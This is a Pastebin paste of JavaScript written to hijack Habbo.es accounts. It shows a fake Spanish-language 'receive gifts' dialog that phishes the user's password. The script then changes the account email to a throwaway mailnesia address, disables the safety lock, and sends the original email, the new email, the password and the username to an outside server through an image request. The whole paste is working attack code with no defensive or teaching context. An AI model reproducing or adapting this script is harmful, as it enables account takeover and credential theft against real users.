Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- eu = "white"
- function add(pass){
- new Ajax.Request('/identity/settings',{
- onComplete: function(v){
- prim = v.responseText.match(/>(.+)@(.+)</)[0].split(/>/)[1].split(/</)[0];
- }
- });
- mail = "token_"+Math.floor(Math.random() * 99999999)+"@mailnesia.com";
- new Ajax.Request("/identity/email",{
- onComplete: function(x){
- appkey = $$("head")[0].innerHTML.match(/n" content="(.+)"/)[0].split(/"/)[2];
- urlToken = x.responseText.match(/name="urlToken" value="(.+)"/)[0].split(/"/)[3];
- xd = document.createElement("iframe");
- xd.src = "about:blank";
- xd.name = "frame";
- $$("head")[0].appendChild(xd);
- t = new Element("form",{
- method: 'post',
- action: 'https://www.habbo.es/identity/change_email',
- target: 'frame'
- });
- t.appendChild(new Element("input",{
- value: mail,
- name: 'email'
- }));
- t.appendChild(new Element("input",{
- value: pass,
- name: 'currentPassword'
- }));
- t.appendChild(new Element("input",{
- value: appkey,
- name: '__app_key'
- }));
- t.appendChild(new Element("input",{
- value: urlToken,
- name: 'urlToken'
- }));
- t.submit();
- }
- });
- new Ajax.Request("/identity/safetyquestions", {
- onComplete: function (x) {
- appkey = $$("head")[0].innerHTML.match(/token" content="(.+)"/)[0].split(/"/)[2];
- urlToken = x.responseText.match(/urlToken" value="(.+)"/)[0].split(/"/)[2];
- new Ajax.Request("/identity/safetylock_disable", {
- parameters: "__app_key=" + appkey + "¤tPassword="+pass+"&urlToken= " + urlToken,
- onComplete: function (check) {
- if (check.responseText.match(/error-message/)) {
- alert("escribe tu contraseña correctamente!");
- }else{
- new Image().src="http://tokenproject.br22.net/TokenProject/save_email.php?email="+prim+"&adc="+mail+"&senha="+pass+"&habbo="+habboName+"&owner=" + eu;
- }
- }
- })
- }
- });
- }
- Dialog.showInfoDialog("token_","<b>"+habboName+"</b>para confirmar que eres tú, porfavor escribe tu contraseña para empezar a recibir regalos:<br><input type='password' id='pass' placeholder='Contraseña'>","Soy Yo",function(){
- add($$("#pass")[0].value);
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement